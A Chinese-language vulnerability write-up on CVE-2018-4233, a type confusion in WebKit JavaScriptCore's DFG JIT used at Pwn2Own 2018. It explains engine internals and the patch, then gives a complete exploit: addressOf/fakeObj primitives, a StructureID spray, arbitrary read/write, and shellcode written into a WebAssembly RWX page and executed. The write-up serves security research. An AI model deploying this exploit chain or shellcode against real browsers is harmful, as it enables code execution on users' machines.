Pwn2Own 2018 CVE-2018-4233 分析

 

0x00 前言

JavaScriptCore是Apple的WebKit浏览器内核中的JS引擎，最近学习JavaScriptCore引擎的漏洞利用，在此以CVE-2018-4233为例来学习JavaScriptCore引擎的漏洞利用一般思路

 

0x01 前置知识

JSC引擎执行流程

JSC引擎执行JS代码的流程如下

Lexer：词法分析，提取单词
Parser：语法分析，生成语法树，并从语法树中构建ByteCode
LLInt：Low Level Interpreter执行Parser生成的ByteCode，其代码位于源码树中的llint/文件夹
Baseline JIT: 在函数调用了 6 次，或者某段代码循环了大于100次会触发该引擎进行JIT编译，其编译后的代码仍然为中间码，而不是汇编代码。其代码位于源码树中的jit/文件夹
DFG JIT: 在函数被调用了60次或者代码循环了1000次会触发。DFG是基于控制流图分析的优化器，将低效字节码进行优化并转为机器码。它利用LLInt和Baseline JIT阶段收集的一些信息来优化字节码，消除一些类型检查等。其代码位于源码树中的dfg/文件夹
FTL: Faster Than Light，更高度的优化，在函数被调用了上千次或者代码循环了数万次会触发。通过一些更加细致的优化算法，将DFG IR进一步优化转为 FTL 里用到的 B3 的 IR，然后生成机器码

可以知道，Baseline JIT->DFG JIT->FTL每一个过程都进行了更加深入的优化，优化一般就是通过类型收集和判断，消除一些不必要的类型检查，并生成机器码，从而可以节省运行时间。由于js是动态类型语言，当类型优化推断错误时，便可以返回上一级，比如DFG JIT优化错误，则返回Baseline JIT运行同时重新进行类型收集以便下一次优化。这个执行过程的转移使用的方法是堆栈替换 on-stack replacement，简称 OSR。这个技术可以将执行转移到任何 statement 的地方。

clobberWorld

在DFG的遍历优化中，会进行类型收集，如果要之前推断的类型不正确，则调用clobberWorld函数放弃之前推断信息，如果不调用该函数，那么前面的类型信息继续保留。

JSC断点调试

与V8不同的是，JSC没有提供用于断点调试的js函数，一种简便的方法是在printInternal函数上进行断点

b *printInternal

然后在js代码中调用print，即可断下。如果我们要打印信息，利用debug函数来打印，因为print已经被我们拿去断点用了。另一种方法是我们自己在Source/JavaScriptCore/jsc.cpp源码中增加一个dbg函数，并在函数中实现int3指令，然后就能在js中调用。

JSC对象内存模型

首先使用这段代码进行调试，其中describe函数是用来打印对象结构的，debug是用于输出文字的,print用于断点

var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
debug(describe(a));
print();

输出如下

--> Object: 0x7fffaf8ac000 with butterfly (nil) (Structure 0x7fffaf870460:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 297

使用gdb打印对象地址处的内容

pwndbg> x /20gx 0x7fffaf8ac000
0x7fffaf8ac000:    0x0100150000000129    0x0000000000000000
0x7fffaf8ac010:    0x0000000000000000    0xffff000000000001
0x7fffaf8ac020:    0xffff000000000002    0x400299999999999a
0x7fffaf8ac030:    0x00007fffaf8b0100    0xffff000000000003
0x7fffaf8ac040:    0xffff000000000004    0xffff000000000005
0x7fffaf8ac050:    0xffff000000000006    0xffff000000000007
0x7fffaf8ac060:    0xffff000000000008    0xffff000000000009
0x7fffaf8ac070:    0xffff00000000000a    0x0000000000000000
0x7fffaf8ac080:    0x0000000000000000    0x0000000000000000
0x7fffaf8ac090:    0x0000000000000000    0x0000000000000000

可以看到，我们的数据都依次按照顺序存入了对象的内存中，并且可以发现不同类型之间的存储，其最前面有一些标志数据，总结起来如下：

Pointer： [0000][xxxx:xxxx:xxxx]（前两个字节为0，后六个字节寻址）
Double： [0001～FFFE][xxxx:xxxx:xxxx]
Integer： [FFFF][0000:xxxx:xxxx]（只有低四个字节表示数字）
False： [0000:0000:0000:0006]
True： [0000:0000:0000:0007]
Undefined： [0000:0000:0000:000a]
Null： [0000:0000:0000:0002]

可以发现，对于对象类型，由于标记为0，所以直接存储着的就是指针，而Double和Integer最前面都加了标记。
现在我们将代码修改一下并测试

var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
a.m = 11;
a.n = 12;
a.o = 13;
a.p = 14;
a.q = 15;
a[0] = 16;
a[1] = 17;

debug(describe(a));
print();

打印如下

--> Object: 0x7fffaf8ac000 with butterfly 0x7ff0000fe5a8 (Structure 0x7fffaf870700:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 303

可以看到butterfly已经不是null了，我们查看一下对象内存

pwndbg> x /30gx 0x7fffaf8ac000
0x7fffaf8ac000:    0x010015040000012f    0x00007ff0000fe5a8
0x7fffaf8ac010:    0x0000000000000003    0xffff000000000001
0x7fffaf8ac020:    0xffff000000000002    0x400299999999999a
0x7fffaf8ac030:    0x00007fffaf8b0100    0xffff000000000003
0x7fffaf8ac040:    0xffff000000000004    0xffff000000000005
0x7fffaf8ac050:    0xffff000000000006    0xffff000000000007
0x7fffaf8ac060:    0xffff000000000008    0xffff000000000009
0x7fffaf8ac070:    0xffff00000000000a    0xffff00000000000b
0x7fffaf8ac080:    0xffff00000000000c    0xffff00000000000d
0x7fffaf8ac090:    0xffff00000000000e    0xffff00000000000f

pwndbg> x /20gx 0x00007ff0000fe5a8
0x7ff0000fe5a8:    0xffff000000000010    0xffff000000000011
0x7ff0000fe5b8:    0x0000000000000000    0x00000000badbeef0

可以看到，butterfly里存储着数组的元素，而其他属性则仍然存储于对象中，我们称这些为内联属性，因为其存储于对象内部。现在测试代码再修改一下

var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
a.m = 11;
a.n = 12;
a.o = 13;
a.p = 14;
a.q = 15;
a[0] = 16;
a[1] = 17;
a['r'] = 18;
debug(describe(a));
print();

输出如下

--> Object: 0x7fffaf8ac000 with butterfly 0x7fec000f8468 (Structure 0x7fffaf870770:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16, r:100}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 304
pwndbg> x /20gx 0x7fec000f8468-0x10
0x7fec000f8458:    0xffff000000000012    0x0000000300000002
0x7fec000f8468:    0xffff000000000010    0xffff000000000011

可以知道a['r'] = 18;这句代码，18存储于butterfly上方，由于其是数组的操作方式，因此其不再归为内联属性，同时我们还注意到butterfly-0x8处的数据0x0000000300000002，这代表数组的大小和容量。
总结出JSC的对象结构如下：

其中JSCell是一个结构体，其中有StructureID等成员，在源码目录中的Tools/gdb/webkit.py文件是用于gdb调试的脚本插件，我们导入gdb，然后进行调试查看。

pwndbg> p *(JSC::JSCell *)0x7fffaf8b42d0
$2 = {
  <JSC::HeapCell> = {<No data fields>}, 
  members of JSC::JSCell: 
  static StructureFlags = 0, 
  static needsDestruction = false, 
  static TypedArrayStorageType = JSC::NotTypedArray, 
  m_structureID = 284, 
  m_indexingTypeAndMisc = 0 '\000', 
  m_type = JSC::FinalObjectType, 
  m_flags = 0 '\000', 
  m_cellState = JSC::CellState::DefinitelyWhite
}

其中JSCell的作用类似于V8中的Map，用于表示对象类型，与V8不同的是，类型的关键在于JSCell使用StructureID来区分类型，StructureID是一个类似于index下标的作用，真正的Structure指针存储在一个StructureTable中，判断对象的时候通过index从StructureTable取出Structure的地址，进而访问Structure，Structure表明了对象的原型，对象结构相同则具有相同的StructureID。

JSC::StructureIDTable::get(JSC::StructureID)

使用如下代码测试

var a = {x:1,y:2};
var b = {x:3,y:4};
var c = {a:5,b:6};
debug(describe(a));
debug(describe(b));
debug(describe(c));
print();

输出如下

--> Object: 0x7fffaf8b42d0 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284
--> Object: 0x7fffaf8b4300 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284
--> Object: 0x7fffaf8b4330 with butterfly (nil) (Structure 0x7fffaf8a7e20:[Object, {a:0, b:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 286

可以看到a和b具有相同的StructureID和Structure。

伪造对象

从上述可以知道，JSCell就是一串数值，包含着StructureID，而不是指针，并且在一些版本中，StructureID不是随机的，而是按照不同对象创建的顺序递增，因此我们想要伪造数组对象的话，可以先申请N个数组对象，然后稍微添加一个不同的属性，则它们的StructureID不同，然后我们猜测一个StructureID，只要确保其很大概率落在已有的这些StructureID之中即可。

查看优化的数据

与V8中的--trace-turbo类似的，JSC中提供了-p选项用于输出profiling data，里面包含一些优化时的数据、字节码等。profiling data格式为json，JSC没有提供像V8那样的可视化工具用于查看流图，我们就只能看看JSON数据。

 

0x02 漏洞分析利用

patch分析

index e7f1585..fc1a7c5 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
+++ b/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2013-2017 Apple Inc. All rights reserved.
+ * Copyright (C) 2013-2018 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -2274,6 +2274,7 @@ bool AbstractInterpreter<AbstractStateType>::executeEffects(unsigned clobberLimi
                 }
             }
         }
+        clobberWorld(node->origin.semantic, clobberLimit);
         forNode(node).setType(m_graph, SpecFinalObject);
         break;
     }

该patch修复了漏洞，patch位于文件Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h中的executeEffects函数，从文件路径可以知道，这个漏洞与DFG JIT有关，executeEffects是当DFG JIT做优化时处理side Effects时用的,与v8一个道理，side Effects即一些潜在的侧链影响，通俗来讲就是判断某个操作是否会影响类型变化，如果会影响，放弃之前的类型推断，如果不影响，继续使用之前的类型。patch位于函数中switch的case CreateThis:分支，主要就是遍历字节码，遇到CreateThis时，调用clobberWorld函数放弃前面的类型推断。那么这也就是说，原来的漏洞点在于CreateThis是存在会影响对象类型的，但是DFG JIT没有判断出来，这就导致类型混淆。

POC构造

首先，要得到create_this字节码，使用的是this

function foo() {
   this.x = 1;
}

var b = new foo();
print(b.x);

得到的字节码如下

[   0] enter             
[   1] get_scope         loc3
[   3] mov               loc4, loc3
[   6] check_traps       
[   7] mov               loc5, this
[  10] create_this       this, this, 1, 0
[  15] put_by_id         this, x(@id0), Int32: 1(const0), Bottom
[  24] ret               this

可以看到，通过put_by_id字节码指令将1存入x属性中。现在我们将测试代码稍作修改

function foo(arg) {
   this.x = arg[0];
}

var b = new foo([1.1]);

print(b.x);

字节码如下

[   0] enter             
[   1] get_scope         loc3
[   3] mov               loc4, loc3
[   6] check_traps       
[   7] mov               loc5, this
[  10] create_this       this, this, 1, 0
[  15] mov               loc6, this
[  18] get_by_val        loc7, arg1, Int32: 0(const0)    Original; predicting None
[  24] put_by_id         loc6, x(@id0), loc7, Bottom
[  33] ret               this

通过get_by_val字节码指令从数组中取出元素0，然后通过put_by_id存入属性x中。
现在加入触发DFG JIT优化的代码，再做测试,发现前期Parse以后的字节码是一样的，不同点在于这次存在了DFG JIT时的字节码展开，其中[ 10] create_this this, this, 1, 0和[ 18] get_by_val loc7, arg1, Int32: 0(const0) Original; predicting None被展开如下

[10]
CountExecution
CheckCell
NewObject
MovHint
[18]
CountExecution
JSConstant
GetButterfly
GetByVal
MovHint
ValueRep

可以知道，CreateThis被优化为了CheckCell和NewObject，并且在这种情况下参数arg的类型不可能发生变化，因此在[ 0] enter使用了CheckStructure检查一次参数就可以了，这里无需再重复检查。现在，我们尝试为foo函数增加一个Proxy代理，这样，使用foo_proxy对象对foo进行间接访问时，会被代理拦截，并进入handler的get函数中处理。

function foo(arg) {
   this.x = arg[0];
}

let handler = {
   get(target, prop) {
      print(prop);
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);
print(foo_proxy.a);

输出如下

root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
a

因为我们通过foo_proxy.a间接的访问了foo.a属性，所以被拦截了。那我们使用new foo_proxy()会发生什么呢？

function foo(arg) {
   this.x = arg[0];
}

let handler = {
   get(target, prop) {
      print(prop);
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);
print(new foo_proxy([1.1]));

输出如下

root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
prototype

因为在创建一个对象的时候，是需要用到函数的prototype这个属性的，它是函数的原型，也是foo的一个自带属性，因此在创建对象时也可以被成功拦截。我们尝试加入DFG JIT优化，并查看字节码

function foo(arg) {
   this.x = arg[0];
}

let handler = {
   get(target, prop) {
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);

var b;
for (var i=0;i<0x2000;i++) {
   b = new foo_proxy([1.1]);
}

print(b.x);

ByteCode仍然一样，不一样的是DFG JIT的Code

[10]
CountExecution
CreateThis
MovHint
[18]
CountExecution
JSConstant
GetButterfly
GetByVal
MovHint
ValueRep

可以看到，由于我们加入了代理，现在CreateThis不能再被内联优化，其中CreateThis的汇编调用代码如下

          0x7fffb010016e: mov $0x7fffaff0b4a8, %r11
          0x7fffb0100178: mov (%r11), %r11
          0x7fffb010017b: test %r11, %r11
          0x7fffb010017e: jz 0x7fffb010018b
          0x7fffb0100184: mov $0x113, %r11d
          0x7fffb010018a: int3 
          0x7fffb010018b: cmp $0x17, 0x5(%rsi)
          0x7fffb010018f: jnz 0x7fffb0100565
          0x7fffb0100195: mov 0x28(%rsi), %r8
          0x7fffb0100199: test %r8, %r8
          0x7fffb010019c: jz 0x7fffb0100565
          ............................

可以知道其主要是跳转到了0x7fffb0100565这个地址处，继续跟踪，该地址处的代码

          0x7fffb0100565: mov %rax, -0x30(%rbp)
          0x7fffb0100569: mov %rsi, -0x38(%rbp)
          0x7fffb010056d: mov %rbp, %rdi
          0x7fffb0100570: mov $0x1, %edx
          0x7fffb0100575: mov $0x7fffaff09898, %r11
          0x7fffb010057f: mov $0xbadbeef, (%r11)
          0x7fffb0100586: mov $0x7fffaff0989c, %r11
          0x7fffb0100590: mov $0xbadbeef, (%r11)
          0x7fffb0100597: mov $0x6, 0x24(%rbp)
          0x7fffb010059e: mov $0x7ffff6113791, %r11
          0x7fffb01005a8: call *%r11

通过调试，可以知道这里调用的函数是operationCreateThis这个函数，其源码位于文件Source/JavaScriptCore/dfg/DFGOperations.cpp中

JSC_DEFINE_JIT_OPERATION(operationCreateThis, JSCell*, (JSGlobalObject* globalObject, JSObject* constructor, uint32_t inlineCapacity))
{
    VM& vm = globalObject->vm();
    CallFrame* callFrame = DECLARE_CALL_FRAME(vm);
    JITOperationPrologueCallFrameTracer tracer(vm, callFrame);
    auto scope = DECLARE_THROW_SCOPE(vm);
    if (constructor->type() == JSFunctionType && jsCast<JSFunction*>(constructor)->canUseAllocationProfile()) {
        DeferTermination deferScope(vm);
        auto rareData = jsCast<JSFunction*>(constructor)->ensureRareDataAndAllocationProfile(globalObject, inlineCapacity);
        scope.releaseAssertNoException();
        ObjectAllocationProfileWithPrototype* allocationProfile = rareData->objectAllocationProfile();
        Structure* structure = allocationProfile->structure();
        JSObject* result = constructEmptyObject(vm, structure);
        if (structure->hasPolyProto()) {
            JSObject* prototype = allocationProfile->prototype();
            ASSERT(prototype == jsCast<JSFunction*>(constructor)->prototypeForConstruction(vm, globalObject));
            result->putDirect(vm, knownPolyProtoOffset, prototype);
            prototype->didBecomePrototype();
            ASSERT_WITH_MESSAGE(!hasIndexedProperties(result->indexingType()), "We rely on JSFinalObject not starting out with an indexing type otherwise we would potentially need to convert to slow put storage");
        }
        return result;
    }

    JSValue proto = constructor->get(globalObject, vm.propertyNames->prototype);
    RETURN_IF_EXCEPTION(scope, nullptr);
    if (proto.isObject())
        return constructEmptyObject(globalObject, asObject(proto));
    JSGlobalObject* functionGlobalObject = getFunctionRealm(globalObject, constructor);
    RETURN_IF_EXCEPTION(scope, nullptr);
    return constructEmptyObject(functionGlobalObject);
}

其中的操作SValue proto = constructor->get(globalObject, vm.propertyNames->prototype);会被我们JS层中的代理拦截，由此可以知道，operationCreateThis会回调JS层的代理函数。此时我们想到，在JS中的Proxy对象的handler中，我们可以操纵任意的对象，我们可以将参数arg的类型修改掉。于是这样构造

function foo(arg) {
   this.x = arg[0];
}

var trigger = false;
var arr = [1.1,2.2];

let handler = {
   get(target, prop) {
      if (trigger) {
         arr[0] = {};
      }
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);

var b;
for (var i=0;i<0x2000;i++) {
   b = new foo_proxy(arr);
}

trigger = true;
b = new foo_proxy(arr);
print(b.x);

这样，当CreateThis回调了handler中的get函数时，arr[0] = {}将arr的类型改为了对象数组类型，不再是unboxed double，但是CreateThis回调结束以后，并没有重新对arg进行类型检查，仍然将其当做unboxed double类型，由此造成了类型混淆。
运行结果如下，成功输出对象的地址

root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
6.9532879215489e-310

修复漏洞以后的版本，其DFG JIT的字节码展开如下

[10]
CountExecution
CreateThis
MovHint
[18]
CountExecution
JSConstant
CheckStructure
GetButterfly
GetByVal
MovHint
ValueRep

可以看到，其在CreateThis后面增加了一个CheckStructure，从而避免了类型混淆。

漏洞利用

fakeObj和addressOf原语构造

通过上述分析，我们很容易构造出两个原语

function addressOf(obj) {
   function foo(arg) {
      this.x = arg[0];
   }
   var handler = {
      get(target,prop) {
         if (trigger) {
            arr[0] = obj;
         }
         return target[prop];
      }
   };
   var foo_proxy = new Proxy(foo,handler);
   var arr = [1.1,2.2,3.3];
   var trigger = false;
   for (var i = 0; i < 0x2000; i++) {
      new foo_proxy(arr);
   }
   trigger = true;
   var ret = new foo_proxy(arr);
   return u64f(ret.x);
}

function fakeObject(addr_l,addr_h) {
   var addr = p64f(addr_l,addr_h);
   function foo(arr) {
      arr[0] = addr;
   }
   var handler = {
      get(target,prop) {
         if (trigger) {
            arr[0] = {};
         }
         return target[prop];
      }
   };
   var foo_proxy = new Proxy(foo,handler);
   var arr = [1.1,2.2,3.3];
   var trigger = false;
   for (var i = 0;i < 0x2000; i++) {
      new foo_proxy(arr);
   }
   trigger = true;
   new foo_proxy(arr);
   return arr[0];
}

堆喷StructureID

为了伪造一个数组对象，首先得拿到数组对象的StructureID，由于其是一串数字，并且对数组对象增加不同的属性即可使得StructureID不同，依次递增，因此，我们申请一些列不同原型的数组对象，然后随便猜测一个StructureID

//制造N个对象，每个对象产生不一样的Structures，使得我们可以猜测一个可用的StructuresID
var structs = [];
function sprayStructures() {
   var fake_elements_header = p64f(0,0);
   for (var i = 0; i < 1000; i++) {
      var a = {x:1,y:2};
      for (var j=0;j<0xffff;j++)
         a[j] = 23.33;
      a['x' + i] = fake_elements_header;
      a.prop = 1.1;
      structs.push(a);
   }
}
sprayStructures();

伪造数组对象

var victim = structs[0x300];

var jscell_double = p64f(0x00000200,0x01082007);

//对象的内存地址必须对齐，因此我们增加一个padding
var container = {
   padding:1.1,
   jscell:jscell_double,
   butterfly:victim,
   butterflyIndexingMask:p64f(0x11111111,0x0)
}

var container_addr = addressOf(container);
var hax = fakeObject(container_addr[0]+0x20,container_addr[1]);

这里，我们将butterfly直接指向了victim，由于是对象，因此存储的是指针，所以通过hax，我们可以控制victim对象的整个结构，victim同样也是一个数组，我们这样做的目的是避免多次通过fakeObject和addressOf来伪造对象，因为这比较耗时并且可能影响内存布局，我们只需第一次伪造一个对象能够控制已有的对象，后面就可以方便操作，同样我们利用has和victim重新构造一个快速的NewAddressOf和NewFakeObject

// ArrayWithDouble
//var unboxed = [6.66,6.66,6.66];
var unboxed = structs[0x301];
var a = {x:1,y:2};
//for (var j=0;j<0xffff;j++)
   //a[j] = 23.33;
a['x0'] = p64f(0,0);
// ArrayWithContiguous
var boxed = {x:1,y:2};
boxed[0] = {};

//让boxed和unboxed的Butterfly为同一地址
var d = addressOf(unboxed);
hax[1] = p64f(d[0],d[1]);
var sharedButterfly = victim[1];
d = addressOf(boxed);
hax[1] = p64f(d[0],d[1]);
victim[1] = sharedButterfly;

debug(describe(unboxed));
debug(describe(boxed));
debug(describe(victim));

function NewAddressOf(obj) {
   boxed[0] = obj;
   return u64f(unboxed[0]);
}

function NewFakeObject(addr_l,addr_h) {
   var addr = p64f(addr_l,addr_h);
   unboxed[0] = addr;
   return boxed[0];
}

构造read64和write64原语

function read64(addr_l,addr_h,index = 0) {
   //必须保证在vicim[-1]处有数据，即used slots和max slots字段，否则将导致读取失败
   //因此我们换用另一种方法，即利用property去访问
   hax[1] = p64f(addr_l + 0x10,addr_h);
   return NewAddressOf(victim.prop);
}

function write64(addr_l,addr_h,double_val) {
   hax[1] = p64f(addr_l + 0x10,addr_h);
   victim.prop = double_val;
}

这里，我们不使用数组的方式去实现任意地址读写，因为数组的方式需要保证used slots和max slots字段满足要求，任意地址处不可能一直满足这个要求，因此我们使用外属性的方式，前面介绍过，这种外部属性就存储于butterfly前面，使用read的时候，最后需要加上NewAddressOf进行转换，因为属性的存储是按照前面介绍的这个

Pointer： [0000][xxxx:xxxx:xxxx]（前两个字节为0，后六个字节寻址）
Double： [0001～FFFE][xxxx:xxxx:xxxx]
Integer： [FFFF][0000:xxxx:xxxx]（只有低四个字节表示数字）
False： [0000:0000:0000:0006]
True： [0000:0000:0000:0007]
Undefined： [0000:0000:0000:000a]
Null： [0000:0000:0000:0002]

方式存储的，显然我们读取的数据不满足这个要求，直接使用victim.prop返回的值会导致崩溃，当我们需要读取的数据是一些地址的时候，由于地址往往就48位，因此其高2字节为0，此时这个数据会被当成一个对象地址，因此为了拿到这个值，需要加上一层NewAddressOf，同理，在write64的时候如果写入的数据高2字节为0，需要加上一层NewFakeObject，由于我们写入的是double，就不需要，但是double数据会导致第7个字节的低4位为1，因此，我们不能一次性写入8个字节的完好数据，但是我们可以保证低4字节的数据被正确写入到目标处，因此，我们只需将数据拆分为4字节一组，然后包装为8字节的double，即可依次将数据完整的写入。

劫持WASM，写shellcode

const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var funcObj_addr = addressOf(func);
var codeAddr = read64(funcObj_addr[0] + 0x48,funcObj_addr[1],1);
var rwx_addr = read64(codeAddr[0],codeAddr[1],1);

debug("funcObj_addr=" + funcObj_addr[1].toString(16) + funcObj_addr[0].toString(16));
debug("codeAddr=" + codeAddr[1].toString(16) + codeAddr[0].toString(16));
debug("rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));

//替换jit的shellcode
for (var i=0;i<shellcode.length;i++) {
   write64(rwx_addr[0] + i*4,rwx_addr[1],p64f(shellcode[i],0));
}

//执行shellcode
func();

成功利用

 

0x03 感想

JSC的漏洞利用本质上与V8的漏洞利用相似，分析方法也类似，这些JS引擎的漏洞挖掘方法大多有着共同点。通过本次复现，又收获了许多新知识。

 

0x04 参考

FireShell2020——从一道ctf题入门jsc利用
Webkit Exploitation Tutorial
wiki JavaScriptCore
【编译原理】中间代码（一）
深入剖析 JavaScriptCore
Attacking Client-Side JIT Compilers (v2) Samuel Groß (@5aelo)
JavaScriptCore内部原理（一）：从JS源码到字节码的追踪
WebKit commitdiff